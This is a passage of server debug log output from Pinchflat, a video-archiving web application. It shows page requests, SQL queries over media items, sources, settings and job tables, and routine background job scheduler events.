m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91114] 06:35:38.065 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=428.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91114] 06:35:38.066 [debug] QUERY OK source="sources" db=1.4ms idle=429.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:35:38.068 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=431.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6792, 6810, 6829, 6848, 6865, 6883, 6910, 6928, 6945, 6964, 6981, 6997, 7014, 7030, 7048, 7064, 7081, 7098, 7114, 7131, 7147, 7165, 7181, 7198, 7217, 7234, 7253, 7269, 7286] 06:35:38.069 [debug] QUERY OK source="settings" db=0.0ms idle=231.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:38.069 [debug] QUERY OK source="settings" db=0.0ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:38.069 [debug] QUERY OK source="settings" db=0.2ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:38.070 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:35:38.073 [info] Sent 200 in 11ms 06:35:50.321 [info] GET /sources/31/media/90892 06:35:50.322 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90892", "source_id" => "31"} Pipelines: [:browser] 06:35:50.323 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=687.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90892] 06:35:50.325 [debug] QUERY OK source="tasks" db=0.9ms queue=0.1ms idle=688.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90892] 06:35:50.326 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=688.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:35:50.326 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=690.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6789, 6807, 6826, 6845, 6862, 6880, 6907, 6925, 6942, 6961, 6978, 6994, 7011, 7027, 7045, 7061, 7078, 7095, 7111, 7128, 7144, 7162, 7178, 7195, 7214, 7231, 7250, 7266, 7283] 06:35:50.327 [debug] QUERY OK source="settings" db=0.0ms idle=460.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:50.327 [debug] QUERY OK source="settings" db=0.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:50.328 [debug] QUERY OK source="settings" db=0.0ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:35:50.328 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:35:50.333 [info] Sent 200 in 11ms 06:36:00.048 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:36:01.860 [info] GET /sources/31/media/90894 06:36:01.860 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90894", "source_id" => "31"} Pipelines: [:browser] 06:36:01.861 [debug] QUERY OK source="media_items" db=0.4ms idle=968.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90894] 06:36:01.863 [debug] QUERY OK source="tasks" db=0.8ms idle=226.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90894] 06:36:01.863 [debug] QUERY OK source="sources" db=0.8ms idle=226.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:36:01.865 [debug] QUERY OK source="oban_jobs" db=0.9ms queue=0.1ms idle=228.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6790, 6808, 6827, 6846, 6863, 6881, 6908, 6926, 6943, 6962, 6979, 6995, 7012, 7028, 7046, 7062, 7079, 7096, 7112, 7129, 7145, 7163, 7179, 7196, 7215, 7232, 7251, 7267, 7284] 06:36:01.866 [debug] QUERY OK source="settings" db=0.0ms idle=230.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:36:01.866 [debug] QUERY OK source="settings" db=0.1ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:36:01.867 [debug] QUERY OK source="settings" db=0.1ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:36:01.867 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:36:01.871 [info] Sent 200 in 11ms 06:36:06.256 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:24.042 [info] GET /sources/31/media/90907 06:36:24.043 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90907", "source_id" => "31"} Pipelines: [:browser] 06:36:24.044 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=407.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90907] 06:36:24.046 [debug] QUERY OK source="tasks" db=1.2ms idle=409.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90907] 06:36:24.046 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=409.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:36:24.047 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=411.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6791, 6809, 6828, 6847, 6864, 6882, 6909, 6927, 6944, 6963, 6980, 6996, 7013, 7029, 7047, 7063, 7080, 7097, 7113, 7130, 7146, 7164, 7180, 7197, 7216, 7233, 7252, 7268, 7285] 06:36:24.048 [debug] QUERY OK source="settings" db=0.0ms idle=103.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:36:24.048 [debug] QUERY OK source="settings" db=0.1ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:36:24.049 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:36:24.050 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:36:24.053 [info] Sent 200 in 10ms 06:36:36.259 [info] {"source":"oban","duration":2051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:00.050 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:37:06.261 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:36.263 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:00.052 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:38:06.266 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:36.269 [info] {"source":"oban","duration":2011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:00.054 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:39:06.272 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:36.275 [info] {"source":"oban","duration":1958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:00.056 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:40:06.278 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:36.281 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:00.058 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:41:06.284 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:36.287 [info] {"source":"oban","duration":1936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:00.060 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:42:06.290 [info] {"source":"oban","duration":1876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:36.293 [info] {"source":"oban","duration":2125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:00.062 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:43:06.296 [info] {"source":"oban","duration":2068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:36.299 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:00.064 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:44:06.302 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:36.304 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:00.066 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:45:06.307 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:35.229 [info] GET / 06:45:35.230 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 06:45:35.231 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1592.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:35.232 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1593.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 06:45:35.232 [debug] QUERY OK source="sources" db=0.3ms idle=1594.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 06:45:35.234 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=1595.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:45:35.235 [debug] QUERY OK source="media_items" db=0.5ms idle=969.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:45:35.235 [debug] QUERY OK source="settings" db=0.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:35.235 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:35.236 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:45:35.237 [debug] QUERY OK source="tasks" db=0.2ms idle=2.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 06:45:35.238 [debug] QUERY OK source="media_items" db=0.4ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:45:35.238 [debug] QUERY OK source="media_items" db=0.3ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:45:35.239 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 06:45:35.242 [debug] QUERY OK source="media_items" db=1.3ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 06:45:35.243 [debug] QUERY OK source="media_items" db=1.5ms idle=4.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:45:35.244 [debug] QUERY OK source="sources" db=0.1ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", 